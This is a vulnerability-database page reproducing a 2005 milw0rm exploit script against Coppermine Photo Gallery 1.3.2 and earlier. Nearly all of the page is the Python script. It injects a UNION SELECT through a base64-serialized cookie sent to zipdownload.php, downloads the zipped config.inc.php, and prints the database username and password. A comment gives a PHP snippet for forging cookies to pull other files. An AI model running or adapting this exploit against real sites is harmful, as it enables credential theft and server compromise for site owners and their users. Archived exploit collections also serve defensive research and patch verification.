Lucene search
K

Coppermine Photo Gallery <= 1.3.2 File Retrieval SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 126 Views

Coppermine Photo Gallery <= 1.3.2 File Retrieval SQL Injection Exploit by DiGiTAL_MiDWAY

Code

                                                # tested and approved /str0ke

#CPG Exploit
#File Retrieval by SQL Injection.
#By Default this exploit get the config.inc.php file which
#contains the db user/pass
#If you want to get another file you need to have the good cookie
#you can use this phpscript to get good cookie :
##&#60;?
##$tab[]=$_GET[&#39;inj&#39;];
##$val=base64_encode(serialize($tab));
##echo $val;
##?&#62;
#
#By DiGiTAL_MiDWAY


import urllib2, sys
from urllib import urlencode
import zipfile

if(len(sys.argv)&#60;2):
    print &#39;usage : %s http://host/Path/ tableprefix[default : cpg132_ for v1.3.1 use cpg1d_]&#39; % sys.argv[0]
    sys.exit(0)
site=sys.argv[1]
try:
    prefix=sys.argv[2]
except:
    prefix=&#39;cpg132_&#39;

print &#39;&#39;&#39;File Retrieval by SQL Injection for Coppermine Photo Gallery v&#60;=1.3.2
                   by DiGiTAL_MiDWAY [[email protected]]&#39;&#39;&#39;

cook=&#39;YToxOntpOjA7czo1MToiJycpIFVOSU9OIFNFTEVDVCAnLi4vaW5jbHVkZS8nLCAnY29uZmlnLmluYy5waHAnIC8qIjt9&#39;
# &#39;&#39;) UNION SELECT filepath,file /*

req=urllib2.Request(site+&#39;zipdownload.php&#39;)
req.add_header(&#39;Cookie&#39;, urlencode({prefix+&#39;fav&#39; : cook}))

zip=open(&#39;test.zip&#39;, &#39;wb&#39;)
print &#39;[+]Opening WebPage&#39;
try:
    f=urllib2.urlopen(req).read()
except:
    print &#39;[+]Failed to opening website&#39;, sys.exc_info()
    sys.exit(0)
zip.write(f)
zip.close()
monzip=zipfile.ZipFile(&#39;test.zip&#39;, &#39;r&#39;)
try:
    conf=monzip.read(&#39;config.inc.php&#39;)
except:
    print &#39;[+]Exploit failed....&#39;
    sys.exit(0)
monzip.close()
conf=conf[conf.find(&#34;$CONFIG[&#39;dbuser&#39;] =&#34;)+len(&#34;$CONFIG[&#39;dbuser&#39;] =&#34;):]
conf=conf[conf.find(&#34;&#39;&#34;)+1:]
user=conf[:conf.find(&#34;&#39;&#34;)]
conf=conf[conf.find(&#34;$CONFIG[&#39;dbpass&#39;] =&#34;)+len(&#34;$CONFIG[&#39;dbpass&#39;] =&#34;):]
conf=conf[conf.find(&#34;&#39;&#34;)+1:]
passwd=conf[:conf.find(&#34;&#39;&#34;)]
print &#39;[+]Exploit Succeed&#39;
print &#39;[+]User :&#39;, user, &#39;Pass :&#39;, passwd

# milw0rm.com [2005-11-13]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
126